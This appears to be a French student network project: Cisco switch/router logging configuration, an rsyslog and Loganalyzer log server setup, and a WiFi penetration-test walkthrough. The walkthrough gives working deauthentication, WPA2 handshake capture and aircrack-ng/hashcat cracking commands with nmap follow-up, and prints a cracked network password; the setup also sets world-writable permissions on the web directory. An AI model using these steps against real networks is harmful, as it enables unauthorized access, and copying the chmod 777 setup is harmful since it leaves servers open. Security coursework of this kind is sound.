interface FastEthernet0/20
logging event link-status
interface FastEthernet0/21
logging event link-status
interface FastEthernet0/22
logging event link-status
! === TRUNK STATUS ===
interface FastEthernet0/23
logging event trunk-status
interface GigabitEthernet0/1
logging event trunk-status
interface GigabitEthernet0/2
logging event trunk-status
Zéro stockage sur le routeur
! === TIMESTAMPS ===
service timestamps log datetime msec localtime show-timezone
service sequence-numbers
! === ZÉRO STOCKAGE LOCAL ===
no logging buffered
no logging console
no logging monitor
no archive log config
! === TRANSMISSION VERS LOGANALYZER ===
logging trap informational
logging source-interface GigabitEthernet0/0/0
logging on
! === SSH & NTP ===
ip ssh logging events
ntp logging
! === ÉVÉNEMENTS PAR INTERFACE ===
interface GigabitEthernet0/0/0
logging event link-status
interface GigabitEthernet0/0/1
logging event link-status
! === VTY SSH ===
line vty 0 4
login local
transport input ssh
Mettre en place un service permettant de recueillir ces logs et de pouvoir les consulter (serveur de logs)
Serveur de logs
Infrastructure mise en place
| Composant | Détail |
|---|---|
| Serveur | VM ubuntu test ProXmox |
| IP | 192.168.99.7 |
| OS | Ubuntu 22.04.5 LTS |
| Service de collecte | rsyslog 8.2112.0 |
| Interface web | Loganalyzer 4.1.13 |
| Port d'écoute | UDP 514 |
1. Installation rsyslog
sudo apt update && sudo apt install rsyslog -y
sudo systemctl enable rsyslog
sudo systemctl start rsyslog
2. Activation réception UDP 514
Dans /etc/rsyslog.conf, décommenter :
module(load="imudp")
input(type="imudp" port="514")
3. Configuration du tri par équipement
/etc/rsyslog.d/cisco.conf :
:fromhost-ip, isequal, "192.168.99.14" /var/log/cisco/switch_bat_a.log
& /var/log/cisco/all.log
& stop
:fromhost-ip, isequal, "192.168.99.13" /var/log/cisco/switch_bat_b.log
& /var/log/cisco/all.log
& stop
:fromhost-ip, isequal, "192.168.99.1" /var/log/cisco/routeur.log
& /var/log/cisco/all.log
& stop
4. Création du dossier et droits
sudo mkdir -p /var/log/cisco
sudo chown syslog:adm /var/log/cisco
sudo chmod 755 /var/log/cisco
sudo chmod 644 /var/log/cisco/*.log
sudo systemctl restart rsyslog
5. Rotation des logs (365 jours)
/etc/logrotate.d/cisco :
/var/log/cisco/*.log {
daily
rotate 365
compress
missingok
notifempty
postrotate
systemctl restart rsyslog
endscript
}
6. Installation Loganalyzer
sudo apt install apache2 php libapache2-mod-php -y
cd /tmp
wget https://download.adiscon.com/loganalyzer/loganalyzer-4.1.13.tar.gz
tar xzvf loganalyzer-4.1.13.tar.gz
sudo cp -r loganalyzer-4.1.13/src /var/www/html/loganalyzer
sudo chmod 777 /var/www/html/loganalyzer
cd /var/www/html/loganalyzer
sudo touch config.php
sudo chmod 666 config.php
7. Droits de lecture Loganalyzer
sudo chmod 644 /var/log/syslog
sudo chmod 644 /var/log/cisco/*.log
8. Vérifications
# Port 514 ouvert
sudo ss -ulnp | grep 514
# Paquets reçus
sudo tcpdump -i any port 514 -nn
# Fichiers de logs
ls /var/log/cisco/
# Logs en temps réel
tail -f /var/log/cisco/switch_bat_a.log
tail -f /var/log/cisco/switch_bat_b.log
tail -f /var/log/cisco/routeur.log
# Validation config rsyslog
sudo rsyslogd -N1 2>&1
Résultat final
- Logs reçus en temps réel depuis les 3 équipements
- Fichiers séparés par équipement
- Rotation 365 jours
- Interface web Loganalyzer accessible sur
http://192.168.99.7/loganalyzer - Filtrage par Facility, Severity, Hostname disponible
Déploiement NTP + Syslog
- NTP - Synchronisation temporelle
Objectif : Garantir une horodatage cohérent sur tous les équipements, indispensable pour corréler les logs.
- Chaque équipement Cisco (switchs + routeur) est configuré en client NTP pointant vers le serveur NTP du projet.
- La commande "ntp server <IP>" est appliquée sur chaque équipement.
- Le service "service timestamps log datetime msec" est ctivé pour horodater les logs avec précision (millisecondes).
- La timezone est uniformisée "clock timezone"
2. Syslog - Centralisation des journaux
Objectif : Collecter les événements réseau de tous les équipements vers un point central pour analyse et archivage.
Sur les équipements Cisco :
- Envoi des logs vers le NAS : "logging host 192.168.99.7"
- Niveau de sévérité retenu : informational (niveau 6)
- Action des événements pertinents :
- logging buffered (tampon local)
- archive log config (changements de configuration)
- Spanning-Tree, authentification (login), interfaces
Sur le serveur de logs (Ubuntu 22.04.5 LTS)
- Rsyslog configuré pour recevoir les logs UDP / TCP (port 514) et les router par équipement dans "/var/log/cisco/<nom-équipement>.log
- Rotation des logs via "logrotate" avec rétention 365 jours (recommandation ANSSI)
- Loganalyzer déployé comme interface web de consultation et d'analyse des logs
3. Limitation du buffer de logs sur les Cisco
Objectif : Eviter la saturation de la mémoire des switchs et routeur.
|
logging buffered 16384 informational |
- 16384 octets (16Ko) - valeur raisonnable pour un swich/routeur
- Evite la consommation excessive de RAM tout en gardant un historique local court.
|
no logging console OU logging console critical |
Le logging console est très gourmand si une session est active. Le couper ou ne garder que les événements critiques est une bonne pratique.
|
no logging monitor |
Inutile en production / démo, consomme des ressources inutilement.
|
logging host 192.168.99.7 logging trap informational |
Le NAS stocke, le switch transmet et puis oublie.
Etudier les aspects techniques et mettre en oeuvre des tests de pénétration (SSID + mot de passe) sur le réseau Wifi.
Prérequis
Avant de commencer, vérifier que la carte WiFi supporte le mode moniteur :
# Identifier la carte WiFi
iwconfig
airmon-ng check kill # Stopper les processus conflictuels
airmon-ng start wlan0 # Activer le mode moniteur → wlan0mon
Phase 1 & 2 — Reconnaissance et scan
# Lister tous les réseaux à portée
airodump-ng wlan0mon
# Cibler la borne de test une fois le BSSID repéré
# (remplacer XX:XX:XX:XX:XX:XX et le canal réel)
airodump-ng -c <canal> --bssid XX:XX:XX:XX:XX:XX -w /root/capture/irs-si wlan0mon
Ce que l'on collecte : BSSID, ESSID (SSID), canal, type de chiffrement (WPA2/WPA3), RSSI, liste des clients connectés.
Phase 3 — Capture du handshake WPA2
Le handshake 4-way s'échange lors de l'association client/AP. On force une reconnexion par déauthentification :
# Dans un second terminal (laisser airodump-ng tourner)
# -0 : nb de paquets deauth, -a : BSSID AP, -c : MAC client (optionnel)
aireplay-ng -0 5 -a XX:XX:XX:XX:XX:XX -c YY:YY:YY:YY:YY:YY wlan0mon
Airodump-ng affiche WPA handshake: XX:XX:XX... en haut à droite quand c'est capturé. Le fichier .cap est écrit dans /root/capture/.
Phase 4 — Craquage du mot de passe
Avec aircrack-ng (dictionnaire)
aircrack-ng -w /usr/share/wordlists/rockyou.txt \
-b XX:XX:XX:XX:XX:XX /root/capture/irs-si-01.cap
Avec hashcat (GPU, plus rapide)
# Convertir le .cap en format hc22000
hcxtools-dpkt -o /root/capture/irs-si.hc22000 /root/capture/irs-si-01.cap
# ou :
cap2hccapx /root/capture/irs-si-01.cap /root/capture/irs-si.hccapx
# Attaque dictionnaire
hashcat -m 22000 /root/capture/irs-si.hc22000 \
/usr/share/wordlists/rockyou.txt
# Attaque par règles (variantes communes)
hashcat -m 22000 /root/capture/irs-si.hc22000 \
/usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Phase 5 — Post-exploitation
Une fois le mot de passe obtenu :
# Reconnecter Kali sur le réseau WiFi de test
nmcli dev wifi connect "<SSID>" password "<motdepasse>" ifname wlan0
# Scan du réseau interne (VLAN 40)
nmap -sV -O 192.168.10.192/27
# Identifier hôtes actifs
nmap -sn 192.168.10.192/27
Kali outil utilisé
Cible identifiée
- SSID :
Visiteurs-IRS - BSSID :
70:F3:5A:27:95:30 - Canal : 1
- Chiffrement : WPA2 CCMP PSK
- Puissance : -46 dBm (signal fort, proximité immédiate)
- WPS : activé (avec Fern)
- Client connecté :
2A:B7:E8:82:79:BE
Phase 1 — Préparation de l'interface
airmon-ng check kill
airmon-ng start wlan0mon
iwconfig wlan0mon
Résultat : wlan0mon en Mode Monitor, fréquence 2.442 GHz (canal 6 par défaut, reconfiguré ensuite sur canal 1).
Phase 2 — Scan des réseaux
airodump-ng a détecté 235 AP au total dans l'environnement (visible dans Fern). Le scan a permis d'identifier Visiteurs-IRS parmi d'autres réseaux présents (StJoCampus, StJoLaSalle, StJoProf, Freebox, SNIR_cyber, MC…).
Phase 3 — Ciblage et capture du trafic
sudo airodump-ng -c 1 --bssid 70:F3:5A:27:95:30 -w capture_wifi wlan0mon
Fichier créé : capture_wifi-02.cap — 3061 paquets capturés. Le client 2A:B7:E8:82:79:BE est visible avec 7449 frames et des trames EAPOL (échanges du handshake).
Phase 4 — Déauthentification
sudo aireplay-ng --deauth 10 -a 70:F3:5A:27:95:30 -c 2A:B7:E8:82:79:BE wlan0mon
10 paquets DeAuth dirigés envoyés au client 2A:B7:E8:82:79:BE entre 09:00:26 et 09:00:31. Le client a été forcé à se reconnecter, déclenchant l'échange du handshake WPA2.
Phase 5 — Validation du handshake
sudo aircrack-ng capture_wifi-02.cap
Résultat : WPA (1 handshake) confirmé pour Visiteurs-IRS / 70:F3:5A:27:95:30. Le fichier .cap est valide et exploitable.
Phase 6 — Craquage du mot de passe
Tentative 1 — rockyou.txt (14 344 391 entrées) :
- Vitesse : 3230 k/s
- Temps estimé : 1h12 — mot de passe non trouvé dans rockyou (gros fichier avec 14 millions de mot de passe)
Tentative 2 — wordlistperso.txt (liste personnalisée) :
sudo aircrack-ng capture_wifi-02.cap -w /home/kali/Desktop/wordlistperso.txt
- 7/16 clés testées en moins d'une seconde
- KEY FOUND! [ stjolorient ]